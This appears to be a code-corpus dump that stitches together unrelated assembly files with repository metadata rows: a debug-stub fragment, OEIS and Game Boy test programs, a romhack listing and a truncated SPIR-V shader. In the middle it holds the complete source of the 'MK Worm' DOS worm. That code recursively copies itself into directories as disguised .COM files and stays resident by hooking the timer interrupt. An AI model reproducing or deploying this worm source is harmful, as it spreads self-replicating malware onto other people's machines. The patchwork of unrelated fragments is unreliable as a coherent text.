; if AL = #Vs2Ds_BreakOnAddress {
; BreakOnAddress()
Call DebugStub_BreakOnAddress
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_SendMethodContext {
; SendMethodContext()
Call DebugStub_SendMethodContext
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_SendMemory {
; SendMemory()
Call DebugStub_SendMemory
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_SendRegisters {
; SendRegisters()
Call DebugStub_SendRegisters
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_SendFrame {
; SendFrame()
Call DebugStub_SendFrame
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_SendStack {
; SendStack()
Call DebugStub_SendStack
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_Ping {
; Ping()
Call DebugStub_Ping
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_SetINT3 {
; SetINT3()
Call DebugStub_SetINT3
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; if AL = #Vs2Ds_ClearINT3 {
; ClearINT3()
Call DebugStub_ClearINT3
; AckCommand()
Call DebugStub_AckCommand
; return
Ret
; }
; Exit:
DebugStub_Exit:
; Restore AL for callers who check the command and do
; further processing, or for commands not handled by this function.
; -EAX
Pop EAX
; }
; function AckCommand {
DebugStub_AckCommand:
; We acknowledge receipt of the command AND the processing of it.
; -In the past the ACK only acknowledged receipt.
; We have to do this because sometimes callers do more processing.
; We ACK even ones we dont process here, but do not ACK Noop.
; The buffers should be ok because more wont be sent till after our NACK
; is received.
; Right now our max cmd size is 2 (Cmd + Cmd ID) + 5 (Data) = 7.
; UART buffer is 16.
; We may need to revisit this in the future to ack not commands, but data chunks
; and move them to a buffer.
; The buffer problem exists only to inbound data, not outbound data (relative to DebugStub).
; AL = #Ds2Vs_CmdCompleted
Mov AL, DebugStub_Const_Ds2Vs_CmdCompleted
; ComWriteAL()
Call DebugStub_ComWriteAL
; EAX = .CommandID
Mov EAX, DWORD [DebugStub_CommandID]
; ComWriteAL()
Call DebugStub_ComWriteAL
; }
; function ProcessCommandBatch {
DebugStub_ProcessCommandBatch:
; Begin:
DebugStub_Begin:
; ProcessCommand()
Call DebugStub_ProcessCommand
; See if batch is complete
; Loop and wait
; Vs2Ds.BatchEnd
; if AL != 8 goto Begin
; AckCommand()
Call DebugStub_AckCommand
; }
| 22.698324 | 114 | 0.682747 |
[
"BSD-3-Clause"
] |
marcelocaetano/XSharp
|
playground/CmdProcess.asm
| 4,063 |
Assembly
|
; A026488: a(n) is the least positive integer > a(n-1) and not a(i)*a(j)-a(k) for 1 <= i <= j <= k <= n, where a(1) = 1.
; 1,3,4,7,10,13,16,19,22,25,28,31,34,37,40,43,46,49,52,55,58,61,64,67,70,73,76,79,82,85,88,91,94,97,100,103,106,109,112,115,118,121,124,127,130,133,136,139,142,145,148,151,154,157,160,163,166,169,172
mov $2,$0
add $0,1
trn $2,2
add $0,$2
mul $0,6
div $0,4
| 37.8 | 199 | 0.619048 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/026/A026488.asm
| 378 |
Assembly
|
;**********************************************************************
;*
;* MK Worm
;*
;* Compile with MASM 4.0
;*
;**********************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg
.radix 16
org 0100
wormlen equ 8
filelen equ eind - begin
old_dir equ eind
DTA equ offset eind + 100d
;**********************************************************************
;* Main program
;**********************************************************************
begin: call rnd_init
mov bp,DTA ;change DTA
call set_DTA
mov ah,47 ;get name of current directory
cwd
mov si,offset old_dir
int 21
mov dx,offset root_dir ;goto root
call chdir
call search ;search directory's
mov dx,offset old_dir ;goto original directory
call chdir
call rnd_get ;go resident?
and al,0F
jz go_res
int 20
go_res: mov ax,351C ;go resident!
int 21
lea si,oldvec
mov [si],bx
mov [si+2],es
lea dx,routine
mov ax,251C
int 21
mov dx,offset eind
int 27
;**********************************************************************
;* search dir
;**********************************************************************
search: mov dx,offset dirname ;search *.*
mov cx,16
mov ah,4E
finddir: int 21
jc no_dir
test byte ptr [bp+15],10 ;directory?
je next_dir
cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ?
je next_dir
lea dx,[bp+1E] ;goto directory
call chdir
lea bp,[bp+2C] ;change DTA
call set_DTA
call search ;searc directory (recurse!)
lea bp,[bp-2C] ;goto previous DAT
call set_DTA
mov dx,offset back_dir ;'CD ..'
call chdir
next_dir: mov ah,4F ;find next
jmp short finddir
no_dir: call rnd_get ;copy worm to this directory?
and al,3
jnz no_worm
mov dx,offset comname ;search *.com
mov ah,4E
mov cx,06
findcom: int 21
jc makeit
mov ax,word ptr [bp-1A] ;worm already there?
sub ax,filelen
cmp ax,10
jnb no_worm
mov ah,4F
jmp short findcom
makeit: call makeworm ;copy the worm!
no_worm: ret
;**********************************************************************
;* change dir
;**********************************************************************
chdir: mov ah,3Bh
int 21
ret
;**********************************************************************
;* set DTA
;**********************************************************************
set_DTA: mov dx,bp
mov ah,1A
int 21
ret
;**********************************************************************
;* create worm
;**********************************************************************
makeworm: mov ah,5A ;create unique filename
xor cx,cx
mov dx,offset filename
mov si,offset restname
mov byte ptr [si],0
int 21
xchg ax,bx
mov ah,40 ;write worm
mov cx,filelen
mov dx,0100
int 21
call rnd_get ;append a few bytes
and ax,0F
xchg ax,cx
mov dx,0100
mov ah,40
int 21
mov ah,3E ;close file
int 21
lea di,[si+13d] ;copy filename
push di
push si
movsw
movsw
movsw
movsw
mov si,offset comname+1
movsw
movsw
movsb
pop dx ;rename file to .COM
pop di
mov ah,56
int 21
ret
;**********************************************************************
;* new int 1C handler
;**********************************************************************
routine: cli ;save registers
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
push cs
push cs
pop ds
pop es
zzz3: inc byte ptr [count]
mov al,byte ptr [count]
test al,1 ;only every 2nd tick
jz nothing
cmp al,3 ;don't change direction yet
jb zzz2
call rnd_get
and al,3 ;change direction?
jnz zzz2
zzz0: call dirchange ;change direction!
mov al,byte ptr [direction]
xor al,byte ptr [old_direc]
and al,1
jz zzz0 ;90 degrees with old direction?
zzz2: call getnext ;calculate next position
call checknext ;does it hit the border?
jc zzz0
mov al,byte ptr [direction] ;save old direction
mov byte ptr [old_direc],al
call moveworm
mov ah,0F ;ask video mode
int 10
cmp al,7
jz goodmode
cmp al,4
jnb nothing
cmp al,2
jb nothing
goodmode: mov ah,3 ;read cursor position
int 10
push dx
call printworm
pop dx ;restore cursor position
mov ah,2
int 10
nothing: pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
sti
jmp cs:[oldvec] ;original vector
oldvec dd 0
;**********************************************************************
;* changes direction of worm
;**********************************************************************
dirchange: call rnd_get ;get random numbar
and al,2
mov ah,byte ptr [direction] ;change direction 90 degrees
xor ah,0FF
and ah,1
or ah,al
mov byte ptr [direction],ah
mov byte ptr [count],0
ret
;**********************************************************************
;* finds next position of the worm
;**********************************************************************
getnext: mov al,byte ptr [yval+wormlen]
mov byte ptr [yval+wormlen+1],al
mov al,byte ptr [xval+wormlen]
mov byte ptr [xval+wormlen+1],al
mov ah,byte ptr [direction]
cmp ah,3
je is_3
cmp ah,2
je is_2
cmp ah,1
je is_1
is_0: mov al,byte ptr [yval+wormlen] ;up
dec al
mov byte ptr [yval+wormlen+1],al
ret
is_1: mov al,byte ptr [xval+wormlen] ;left
dec al
dec al
mov byte ptr [xval+wormlen+1],al
ret
is_2: mov al,byte ptr [yval+wormlen] ;down
inc al
mov byte ptr [yval+wormlen+1],al
ret
is_3: mov al,byte ptr [xval+wormlen] ;right
inc al
inc al
mov byte ptr [xval+wormlen+1],al
ret
;**********************************************************************
;* checks if worm will hit borders
;**********************************************************************
checknext: mov al,byte ptr [xval+wormlen+1]
cmp al,0
jl fout
cmp al,80d
jae fout
mov al,byte ptr [yval+wormlen+1]
cmp al,0
jl fout
cmp al,25d
jae fout
clc
ret
fout: stc
ret
;**********************************************************************
;* move the worm
;**********************************************************************
moveworm: mov si,offset xval+1
lea di,[si-1]
mov cx,wormlen+1
rep movsb
mov si,offset yval+1
lea di,[si-1]
mov cx,wormlen+1
rep movsb
ret
;**********************************************************************
;* print the worm on screen
;**********************************************************************
printworm: mov si,offset xval
call move
mov al,20 ;print space on rear end
call print
mov cx,wormlen-1
lup: call move
mov al,0F ;print dots
call print
loop lup
call move
mov al,2 ;print head of worm
call print
ret
;**********************************************************************
;* move the cursor
;**********************************************************************
move: mov ah,[si+wormlen+2]
lodsb
xchg ax,dx
mov ah,02
int 10
ret
;**********************************************************************
;* print a character
;**********************************************************************
print: push cx
mov ah,09
mov bl,0C
mov cx,1
int 10
pop cx
ret
;****************************************************************************
;* random number generator
;****************************************************************************
rnd_init: push cx
call rnd_init0
and ax,000F
inc ax
xchg ax,cx
random_lup: call rnd_get
loop random_lup
pop cx
ret
rnd_init0: push dx ;initialize generator
push cx
mov ah,2C
int 21
in al,40
mov ah,al
in al,40
xor ax,cx
xor dx,ax
jmp short move_rnd
rnd_get: push dx ;calculate a random number
push cx
push bx
mov ax,0
mov dx,0
mov cx,7
rnd_lup: shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_l2
inc al
rnd_l2: loop rnd_lup
pop bx
move_rnd: mov word ptr cs:[rnd_get+4],ax
mov word ptr cs:[rnd_get+7],dx
mov al,dl
pop cx
pop dx
ret
;**********************************************************************
;* data
;**********************************************************************
db ' MK Worm / Trident '
root_dir db '\',0
back_dir db '..',0
dirname db '*.*',0
comname db '*.COM',0
filename db '.\'
restname db (26d) dup (?)
xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
yval db (wormlen+2) dup (12d)
direction db 3
old_direc db 3
count db 0
eind:
cseg ends
end begin
| 30.91863 | 79 | 0.280975 |
[
"MIT"
] |
010001111/Family
|
MSDOS/Virus.MSDOS.Unknown.mkworm.asm
| 14,439 |
Assembly
|
copyright zengfr site:http://github.com/zengfr/romhack
000BA0 move.w D0, (A0)+
000BA2 move.w D1, (A0)+ [scr1, scr2, scr3]
0205AC move.l (A1)+, (A0)+
0205AE dbra D4, $205ac [scr3]
023066 move.l (A1)+, (A0)+
023068 move.w D1, D6 [scr3]
092104 move.w D0, ($0,A4)
092108 move.w D3, ($2,A4) [scr3]
092128 move.w D0, ($0,A4)
09212C move.w D3, ($2,A4) [scr3]
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
| 84.434783 | 350 | 0.664264 |
[
"Apache-2.0"
] |
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
dino/lcs/scr3.asm
| 1,942 |
Assembly
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
ld hl, fe00
ld d, 10
ld a, d
ld(hl++), a
ld a, 08
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 09
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 0a
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 28
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 29
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 2a
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 48
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 49
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 4a
ld(hl++), a
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, 01
ldff(45), a
ld c, 41
ld a, 93
ldff(40), a
ld a, 04
ldff(43), a
.text@1000
lstatint:
nop
.text@1093
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
| 11.930233 | 24 | 0.575049 |
[
"MIT"
] |
Manurocker95/GiovanniEmulator
|
GIOVANNI/gambatte/test/hwtests/sprites/space/3overlap7_scx4_m3stat_ds_2_cgb04c_out0.asm
| 2,052 |
Assembly
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.23026.0
; Generated by VC++ for Common Language Runtime
.file "C:\Users\jun\AppData\Local\Temp\.NETFramework,Version=v4.5.2.AssemblyAttributes.cpp"
| 44.2 | 91 | 0.782805 |
[
"Apache-2.0"
] |
junmendoza/DesignScriptStudio
|
UIs/Studio/DesignScriptStudio.Renderer/Debug/.NETFramework,Version=v4.5.2.AssemblyAttributes.asm
| 221 |
Assembly
|
; A028092: Expansion of 1/((1-3x)(1-7x)(1-8x)(1-12x)).
; Submitted by Jon Maiga
; 1,30,583,9360,135373,1838130,23972131,304421700,3797192905,46789978950,571763347519,6946889160120,84072723694597,1014722669092890,12224658793966747,147088107868298220
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
trn $2,1
sub $0,$2
seq $0,20969 ; Expansion of 1/((1-7*x)*(1-8*x)*(1-12*x)).
sub $0,$1
mul $1,4
add $1,$0
lpe
mov $0,$1
| 23.888889 | 168 | 0.674419 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/028/A028092.asm
| 430 |
Assembly
|
; A143095: (1, 2, 4, 8,...) interleaved with (4, 8, 16, 32,...).
; 1,4,2,8,4,16,8,32,16,64,32,128,64,256,128,512,256,1024,512,2048,1024,4096,2048,8192,4096,16384,8192,32768,16384,65536,32768,131072,65536,262144,131072,524288,262144,1048576,524288,2097152,1048576,4194304
mov $1,1
mov $2,4
lpb $0,1
sub $0,1
add $3,$1
mov $1,$2
mul $3,2
mov $2,$3
mov $3,0
lpe
| 26.571429 | 205 | 0.650538 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/143/A143095.asm
| 372 |
Assembly
|
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 486
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %12 %480
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %9 "pos"
OpName %12 "gl_FragCoord"
OpName %15 "buf1"
OpMemberName %15 0 "resolution"
OpName %17 ""
OpName %26 "ipos"
OpName %42 "i"
OpName %55 "map"
OpName %62 "p"
OpName %65 "canwalk"
OpName %76 "v"
OpName %81 "buf0"
OpMemberName %81 0 "injectionSwitch"
OpName %83 ""
OpName %119 "directions"
OpName %216 "j"
OpName %253 "d"
OpName %480 "_GLF_color"
OpDecorate %12 BuiltIn FragCoord
OpMemberDecorate %15 0 Offset 0
OpDecorate %15 Block
OpDecorate %17 DescriptorSet 0
OpDecorate %17 Binding 1
OpMemberDecorate %81 0 Offset 0
OpDecorate %81 Block
OpDecorate %83 DescriptorSet 0
OpDecorate %83 Binding 0
OpDecorate %480 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeFloat 32
%7 = OpTypeVector %6 2
%8 = OpTypePointer Function %7
%10 = OpTypeVector %6 4
%11 = OpTypePointer Input %10
%12 = OpVariable %11 Input
%15 = OpTypeStruct %7
%16 = OpTypePointer Uniform %15
%17 = OpVariable %16 Uniform
%18 = OpTypeInt 32 1
%19 = OpConstant %18 0
%20 = OpTypePointer Uniform %7
%24 = OpTypeVector %18 2
%25 = OpTypePointer Function %24
%27 = OpTypeInt 32 0
%28 = OpConstant %27 0
%29 = OpTypePointer Function %6
%32 = OpConstant %6 16
%35 = OpConstant %27 1
%41 = OpTypePointer Function %18
%49 = OpConstant %18 256
%50 = OpTypeBool
%52 = OpConstant %27 256
%53 = OpTypeArray %18 %52
%54 = OpTypePointer Private %53
%55 = OpVariable %54 Private
%57 = OpTypePointer Private %18
%60 = OpConstant %18 1
%63 = OpConstantComposite %24 %19 %19
%64 = OpTypePointer Function %50
%66 = OpConstantTrue %50
%71 = OpTypePointer Input %6
%74 = OpConstant %6 0
%81 = OpTypeStruct %7
%82 = OpTypePointer Uniform %81
%83 = OpVariable %82 Uniform
%84 = OpTypePointer Uniform %6
%90 = OpTypeVector %50 2
%127 = OpConstant %18 2
%131 = OpConstant %18 16
%164 = OpConstant %18 14
%207 = OpConstantFalse %50
%214 = OpConstant %18 8
%479 = OpTypePointer Output %10
%480 = OpVariable %479 Output
%481 = OpConstant %6 1
%482 = OpConstantComposite %10 %481 %481 %481 %481
%485 = OpConstantComposite %10 %74 %74 %74 %481
%4 = OpFunction %2 None %3
%5 = OpLabel
%9 = OpVariable %8 Function
%26 = OpVariable %25 Function
%42 = OpVariable %41 Function
%62 = OpVariable %25 Function
%65 = OpVariable %64 Function
%76 = OpVariable %41 Function
%119 = OpVariable %41 Function
%216 = OpVariable %41 Function
%253 = OpVariable %41 Function
%13 = OpLoad %10 %12
%14 = OpVectorShuffle %7 %13 %13 0 1
%21 = OpAccessChain %20 %17 %19
%22 = OpLoad %7 %21
%23 = OpFDiv %7 %14 %22
OpStore %9 %23
%30 = OpAccessChain %29 %9 %28
%31 = OpLoad %6 %30
%33 = OpFMul %6 %31 %32
%34 = OpConvertFToS %18 %33
%36 = OpAccessChain %29 %9 %35
%37 = OpLoad %6 %36
%38 = OpFMul %6 %37 %32
%39 = OpConvertFToS %18 %38
%40 = OpCompositeConstruct %24 %34 %39
OpStore %26 %40
OpStore %42 %19
OpBranch %43
%43 = OpLabel
OpLoopMerge %45 %46 None
OpBranch %47
%47 = OpLabel
%48 = OpLoad %18 %42
%51 = OpSLessThan %50 %48 %49
OpBranchConditional %51 %44 %45
%44 = OpLabel
%56 = OpLoad %18 %42
%58 = OpAccessChain %57 %55 %56
OpStore %58 %19
OpBranch %46
%46 = OpLabel
%59 = OpLoad %18 %42
%61 = OpIAdd %18 %59 %60
OpStore %42 %61
OpBranch %43
%45 = OpLabel
OpStore %62 %63
OpStore %65 %66
OpBranch %67
%67 = OpLabel
OpLoopMerge %69 %70 None
OpBranch %68
%68 = OpLabel
OpBranch %70
%70 = OpLabel
%72 = OpAccessChain %71 %12 %35
%73 = OpLoad %6 %72
%75 = OpFOrdLessThan %50 %73 %74
OpBranchConditional %75 %67 %69
%69 = OpLabel
OpStore %76 %19
OpBranch %77
%77 = OpLabel
OpLoopMerge %79 %80 None
OpBranch %78
%78 = OpLabel
%85 = OpAccessChain %84 %83 %19 %28
%86 = OpLoad %6 %85
%87 = OpAccessChain %84 %83 %19 %35
%88 = OpLoad %6 %87
%89 = OpFOrdLessThan %50 %86 %88
%91 = OpCompositeConstruct %90 %89 %66
%92 = OpCompositeExtract %50 %91 0
OpSelectionMerge %94 None
OpBranchConditional %92 %93 %97
%93 = OpLabel
%95 = OpLoad %18 %76
%96 = OpIAdd %18 %95 %60
OpStore %76 %96
OpBranch %94
%97 = OpLabel
%98 = OpAccessChain %84 %83 %19 %28
%99 = OpLoad %6 %98
%100 = OpAccessChain %84 %83 %19 %35
%101 = OpLoad %6 %100
%102 = OpFOrdGreaterThan %50 %99 %101
OpSelectionMerge %104 None
OpBranchConditional %102 %103 %104
%103 = OpLabel
OpKill
%104 = OpLabel
%106 = OpAccessChain %84 %83 %19 %28
%107 = OpLoad %6 %106
%108 = OpAccessChain %84 %83 %19 %35
%109 = OpLoad %6 %108
%110 = OpFOrdGreaterThan %50 %107 %109
OpSelectionMerge %112 None
OpBranchConditional %110 %111 %112
%111 = OpLabel
%113 = OpAccessChain %71 %12 %35
%114 = OpLoad %6 %113
%115 = OpFOrdLessThan %50 %114 %74
OpSelectionMerge %117 None
OpBranchConditional %115 %116 %117
%116 = OpLabel
OpReturn
%117 = OpLabel
OpBranch %112
%112 = OpLabel
OpBranch %94
%94 = OpLabel
OpStore %119 %19
%120 = OpAccessChain %41 %62 %28
%121 = OpLoad %18 %120
%122 = OpSGreaterThan %50 %121 %19
OpSelectionMerge %124 None
OpBranchConditional %122 %123 %124
%123 = OpLabel
%125 = OpAccessChain %41 %62 %28
%126 = OpLoad %18 %125
%128 = OpISub %18 %126 %127
%129 = OpAccessChain %41 %62 %35
%130 = OpLoad %18 %129
%132 = OpIMul %18 %130 %131
%133 = OpIAdd %18 %128 %132
%134 = OpAccessChain %57 %55 %133
%135 = OpLoad %18 %134
%136 = OpIEqual %50 %135 %19
OpBranch %124
%124 = OpLabel
%137 = OpPhi %50 %122 %94 %136 %123
OpSelectionMerge %139 None
OpBranchConditional %137 %138 %139
%138 = OpLabel
%140 = OpLoad %18 %119
%141 = OpIAdd %18 %140 %60
OpStore %119 %141
OpBranch %139
%139 = OpLabel
%142 = OpAccessChain %41 %62 %35
%143 = OpLoad %18 %142
%144 = OpSGreaterThan %50 %143 %19
OpSelectionMerge %146 None
OpBranchConditional %144 %145 %146
%145 = OpLabel
%147 = OpAccessChain %41 %62 %28
%148 = OpLoad %18 %147
%149 = OpAccessChain %41 %62 %35
%150 = OpLoad %18 %149
%151 = OpISub %18 %150 %127
%152 = OpIMul %18 %151 %131
%153 = OpIAdd %18 %148 %152
%154 = OpAccessChain %57 %55 %153
%155 = OpLoad %18 %154
%156 = OpIEqual %50 %155 %19
OpBranch %146
%146 = OpLabel
%157 = OpPhi %50 %144 %139 %156 %145
OpSelectionMerge %159 None
OpBranchConditional %157 %158 %159
%158 = OpLabel
%160 = OpLoad %18 %119
%161 = OpIAdd %18 %160 %60
OpStore %119 %161
OpBranch %159
%159 = OpLabel
%162 = OpAccessChain %41 %62 %28
%163 = OpLoad %18 %162
%165 = OpSLessThan %50 %163 %164
OpSelectionMerge %167 None
OpBranchConditional %165 %166 %167
%166 = OpLabel
%168 = OpAccessChain %41 %62 %28
%169 = OpLoad %18 %168
%170 = OpIAdd %18 %169 %127
%171 = OpAccessChain %41 %62 %35
%172 = OpLoad %18 %171
%173 = OpIMul %18 %172 %131
%174 = OpIAdd %18 %170 %173
%175 = OpAccessChain %57 %55 %174
%176 = OpLoad %18 %175
%177 = OpIEqual %50 %176 %19
OpBranch %167
%167 = OpLabel
%178 = OpPhi %50 %165 %159 %177 %166
OpSelectionMerge %180 None
OpBranchConditional %178 %179 %180
%179 = OpLabel
%181 = OpLoad %18 %119
%182 = OpIAdd %18 %181 %60
OpStore %119 %182
OpBranch %180
%180 = OpLabel
%183 = OpAccessChain %41 %62 %35
%184 = OpLoad %18 %183
%185 = OpSLessThan %50 %184 %164
OpSelectionMerge %187 None
OpBranchConditional %185 %186 %187
%186 = OpLabel
%188 = OpAccessChain %41 %62 %28
%189 = OpLoad %18 %188
%190 = OpAccessChain %41 %62 %35
%191 = OpLoad %18 %190
%192 = OpIAdd %18 %191 %127
%193 = OpIMul %18 %192 %131
%194 = OpIAdd %18 %189 %193
%195 = OpAccessChain %57 %55 %194
%196 = OpLoad %18 %195
%197 = OpIEqual %50 %196 %19
OpBranch %187
%187 = OpLabel
%198 = OpPhi %50 %185 %180 %197 %186
OpSelectionMerge %200 None
OpBranchConditional %198 %199 %200
%199 = OpLabel
%201 = OpLoad %18 %119
%202 = OpIAdd %18 %201 %60
OpStore %119 %202
OpBranch %200
%200 = OpLabel
%203 = OpLoad %18 %119
%204 = OpIEqual %50 %203 %19
OpSelectionMerge %206 None
OpBranchConditional %204 %205 %252
%205 = OpLabel
OpStore %65 %207
OpStore %42 %19
OpBranch %208
%208 = OpLabel
OpLoopMerge %210 %211 None
OpBranch %212
%212 = OpLabel
%213 = OpLoad %18 %42
%215 = OpSLessThan %50 %213 %214
OpBranchConditional %215 %209 %210
%209 = OpLabel
OpStore %216 %19
OpBranch %217
%217 = OpLabel
OpLoopMerge %219 %220 None
OpBranch %221
%221 = OpLabel
%222 = OpLoad %18 %216
%223 = OpSLessThan %50 %222 %214
OpBranchConditional %223 %218 %219
%218 = OpLabel
%224 = OpLoad %18 %216
%225 = OpIMul %18 %224 %127
%226 = OpLoad %18 %42
%227 = OpIMul %18 %226 %127
%228 = OpIMul %18 %227 %131
%229 = OpIAdd %18 %225 %228
%230 = OpAccessChain %57 %55 %229
%231 = OpLoad %18 %230
%232 = OpIEqual %50 %231 %19
OpSelectionMerge %234 None
OpBranchConditional %232 %233 %234
%233 = OpLabel
%235 = OpLoad %18 %216
%236 = OpIMul %18 %235 %127
%237 = OpAccessChain %41 %62 %28
OpStore %237 %236
%238 = OpLoad %18 %42
%239 = OpIMul %18 %238 %127
%240 = OpAccessChain %41 %62 %35
OpStore %240 %239
OpStore %65 %66
OpBranch %234
%234 = OpLabel
OpBranch %220
%220 = OpLabel
%241 = OpLoad %18 %216
%242 = OpIAdd %18 %241 %60
OpStore %216 %242
OpBranch %217
%219 = OpLabel
OpBranch %211
%211 = OpLabel
%243 = OpLoad %18 %42
%244 = OpIAdd %18 %243 %60
OpStore %42 %244
OpBranch %208
%210 = OpLabel
%245 = OpAccessChain %41 %62 %28
%246 = OpLoad %18 %245
%247 = OpAccessChain %41 %62 %35
%248 = OpLoad %18 %247
%249 = OpIMul %18 %248 %131
%250 = OpIAdd %18 %246 %249
%251 = OpAccessChain %57 %55 %250
OpStore %251 %60
OpBranch %206
%252 = OpLabel
%254 = OpLoad %18 %76
%255 = OpLoad %18 %119
%256 = OpSMod %18 %254 %255
OpStore %253 %256
%257 = OpLoad %18 %119
%258 = OpLoad %18 %76
%259 = OpIAdd %18 %258 %257
OpStore %76 %259
%260 = OpLoad %18 %253
%261 = OpSGreaterThanEqual %50 %260 %19
OpSelectionMerge %263 None
OpBranchConditional %261 %262 %263
%262 = OpLabel
%264 = OpAccessChain %41 %62 %28
%265 = OpLoad %18 %264
%266 = OpSGreaterThan %50 %265 %19
OpBranch %263
%263 = OpLabel
%267 = OpPhi %50 %261 %252 %266 %262
OpSelectionMerge %269 None
OpBranchConditional %267 %268 %269
%268 = OpLabel
%270 = OpAccessChain %41 %62 %28
%271 = OpLoad %18 %270
%272 = OpISub %18 %271 %127
%273 = OpAccessChain %41 %62 %35
%274 = OpLoad %18 %273
%275 = OpIMul %18 %274 %131
%276 = OpIAdd %18 %272 %275
%277 = OpAccessChain %57 %55 %276
%278 = OpLoad %18 %277
%279 = OpIEqual %50 %278 %19
OpBranch %269
%269 = OpLabel
%280 = OpPhi %50 %267 %263 %279 %268
OpSelectionMerge %282 None
OpBranchConditional %280 %281 %282
